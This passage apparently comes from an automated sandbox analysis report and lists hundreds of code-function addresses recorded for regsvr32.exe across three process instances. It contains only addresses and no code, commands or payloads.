Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001ACB4	4_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180007EB4	4_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800162BC	4_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800270C0	4_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800280C8	4_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001AEC8	4_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800050D4	4_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800234D8	4_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001F6DC	4_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800026DC	4_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002ADC	4_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002ACE8	4_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800150F0	4_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001E2F4	4_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016AF4	4_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DEF4	4_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001DEFC	4_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012500	4_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006308	4_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001370C	4_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A10C	4_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028D10	4_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180020118	4_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180004B18	4_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A524	4_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015F24	4_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F328	4_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180002D28	4_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E130	4_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180029134	4_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008134	4_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021738	4_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002AF38	4_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180022140	4_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028348	4_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000DB4C	4_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180014F50	4_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000B350	4_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180006954	4_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000F554	4_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002975C	4_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002B564	4_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012168	4_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013568	4_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180024370	4_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180008370	4_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015774	4_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180012378	4_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180019178	4_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180025180	4_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180001980	4_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180021588	4_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001A988	4_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018190	4_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013994	4_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180026B98	4_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180028998	4_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001CF9C	4_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000359C	4_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001EBA0	4_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800061A0	4_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135A6	4_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180016DA8	4_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800059AC	4_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000D7AC	4_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800053B0	4_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800135B4	4_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018001C1B8	4_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180015BB8	4_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800025B8	4_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800207BC	4_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800085BC	4_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800015C0	4_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000FFC0	4_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800295C8	4_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800229CC	4_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000E5D4	4_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018002A5D8	4_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800173DC	4_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180018BDC	4_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800261E0	4_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74E1964	5_2_000007FEF74E1964
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74ECC38	5_2_000007FEF74ECC38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74F0720	5_2_000007FEF74F0720
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74EEDCC	5_2_000007FEF74EEDCC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74EC5D8	5_2_000007FEF74EC5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74EFDD0	5_2_000007FEF74EFDD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF74EC9FC	5_2_000007FEF74EC9FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_001C0000	5_2_001C0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180005C74	5_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002ACE8	5_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000359C	5_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E99C	5_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019628	5_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025A9D	5_2_0000000180025A9D
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B7B2	5_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180009408	5_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023C14	5_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006414	5_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002582C	5_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B834	5_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000403C	5_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021444	5_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012044	5_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016054	5_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001705C	5_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001870	5_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F878	5_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014484	5_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015494	5_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000BC98	5_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008C9C	5_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800078A4	5_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F0A8	5_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E4AC	5_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800048B0	5_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001ACB4	5_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800090B4	5_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800270C0	5_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800024C0	5_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800280C8	5_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800050D4	5_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800234D8	5_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800150F0	5_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012500	5_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024104	5_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A10C	5_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028D10	5_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020118	5_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A524	5_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002D28	5_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E130	5_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180029134	5_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008134	5_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022140	5_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006954	5_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F554	5_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002B564	5_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012168	5_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013568	5_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024570	5_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180019178	5_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180025180	5_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001980	5_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021588	5_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001A988	5_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018190	5_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013994	5_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028998	5_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800061A0	5_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135A6	5_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016DA8	5_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800059AC	5_2_00000001800059AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800135B4	5_2_00000001800135B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001C1B8	5_2_000000018001C1B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800025B8	5_2_00000001800025B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800085BC	5_2_00000001800085BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800015C0	5_2_00000001800015C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800295C8	5_2_00000001800295C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800229CC	5_2_00000001800229CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000E5D4	5_2_000000018000E5D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002A5D8	5_2_000000018002A5D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800261E0	5_2_00000001800261E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800079EC	5_2_00000001800079EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180023624	5_2_0000000180023624
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018628	5_2_0000000180018628
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017E2C	5_2_0000000180017E2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180017638	5_2_0000000180017638
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004E3C	5_2_0000000180004E3C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020E40	5_2_0000000180020E40
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015A64	5_2_0000000180015A64
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015264	5_2_0000000180015264
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A26C	5_2_000000018000A26C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007678	5_2_0000000180007678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001667C	5_2_000000018001667C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012680	5_2_0000000180012680
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180001E88	5_2_0000000180001E88
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000968C	5_2_000000018000968C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022290	5_2_0000000180022290
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026A90	5_2_0000000180026A90
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000529C	5_2_000000018000529C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180020AA0	5_2_0000000180020AA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180022AAC	5_2_0000000180022AAC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180007EB4	5_2_0000000180007EB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800162BC	5_2_00000001800162BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800252C0	5_2_00000001800252C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001AEC8	5_2_000000018001AEC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001F6DC	5_2_000000018001F6DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800026DC	5_2_00000001800026DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180002ADC	5_2_0000000180002ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001E2F4	5_2_000000018001E2F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180016AF4	5_2_0000000180016AF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DEF4	5_2_000000018000DEF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001DEFC	5_2_000000018001DEFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006308	5_2_0000000180006308
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001370C	5_2_000000018001370C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180004B18	5_2_0000000180004B18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015F24	5_2_0000000180015F24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180006B24	5_2_0000000180006B24
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000F328	5_2_000000018000F328
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180021738	5_2_0000000180021738
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002AF38	5_2_000000018002AF38
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180028348	5_2_0000000180028348
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000DB4C	5_2_000000018000DB4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180014F50	5_2_0000000180014F50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000B350	5_2_000000018000B350
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000A758	5_2_000000018000A758
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018002975C	5_2_000000018002975C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180024370	5_2_0000000180024370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180008370	5_2_0000000180008370
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015774	5_2_0000000180015774
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180012378	5_2_0000000180012378
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180026B98	5_2_0000000180026B98
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001CF9C	5_2_000000018001CF9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001EBA0	5_2_000000018001EBA0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018001B3A4	5_2_000000018001B3A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D7AC	5_2_000000018000D7AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800053B0	5_2_00000001800053B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180015BB8	5_2_0000000180015BB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800207BC	5_2_00000001800207BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000FFC0	5_2_000000018000FFC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00000001800173DC	5_2_00000001800173DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180018BDC	5_2_0000000180018BDC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF91912B0	9_2_000007FEF91912B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9195E01	9_2_000007FEF9195E01
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9196850	9_2_000007FEF9196850
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9195CAD	9_2_000007FEF9195CAD
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF91953FB	9_2_000007FEF91953FB
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF919443C	9_2_000007FEF919443C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000007FEF9194A70	9_2_000007FEF9194A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00130000	9_2_00130000
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180005C74	9_2_0000000180005C74
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002ACE8	9_2_000000018002ACE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180020118	9_2_0000000180020118
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000359C	9_2_000000018000359C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E99C	9_2_000000018000E99C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180019628	9_2_0000000180019628
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180025A4C	9_2_0000000180025A4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B7B2	9_2_000000018002B7B2
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180009408	9_2_0000000180009408
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180023C14	9_2_0000000180023C14
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006414	9_2_0000000180006414
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002582C	9_2_000000018002582C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000B834	9_2_000000018000B834
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000403C	9_2_000000018000403C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180021444	9_2_0000000180021444
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012044	9_2_0000000180012044
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180016054	9_2_0000000180016054
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001705C	9_2_000000018001705C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180001870	9_2_0000000180001870
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001F878	9_2_000000018001F878
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180014484	9_2_0000000180014484
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180015494	9_2_0000000180015494
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000BC98	9_2_000000018000BC98
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180008C9C	9_2_0000000180008C9C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800078A4	9_2_00000001800078A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001F0A8	9_2_000000018001F0A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001E4AC	9_2_000000018001E4AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800048B0	9_2_00000001800048B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001ACB4	9_2_000000018001ACB4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800090B4	9_2_00000001800090B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800270C0	9_2_00000001800270C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800024C0	9_2_00000001800024C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800280C8	9_2_00000001800280C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800050D4	9_2_00000001800050D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800234D8	9_2_00000001800234D8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800150F0	9_2_00000001800150F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012500	9_2_0000000180012500
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180024104	9_2_0000000180024104
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A10C	9_2_000000018001A10C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028D10	9_2_0000000180028D10
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A524	9_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180002D28	9_2_0000000180002D28
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000E130	9_2_000000018000E130
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180029134	9_2_0000000180029134
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180008134	9_2_0000000180008134
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180022140	9_2_0000000180022140
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180006954	9_2_0000000180006954
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000F554	9_2_000000018000F554
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018002B564	9_2_000000018002B564
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180012168	9_2_0000000180012168
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013568	9_2_0000000180013568
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180024570	9_2_0000000180024570
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180019178	9_2_0000000180019178
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180025180	9_2_0000000180025180
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180001980	9_2_0000000180001980
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180021588	9_2_0000000180021588
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A988	9_2_000000018001A988
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180018190	9_2_0000000180018190
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180013994	9_2_0000000180013994
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180028998	9_2_0000000180028998
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800061A0	9_2_00000001800061A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800135A6	9_2_00000001800135A6
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180016DA8	9_2_0000000180016DA8
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800059AC	9_2_00000001800059AC
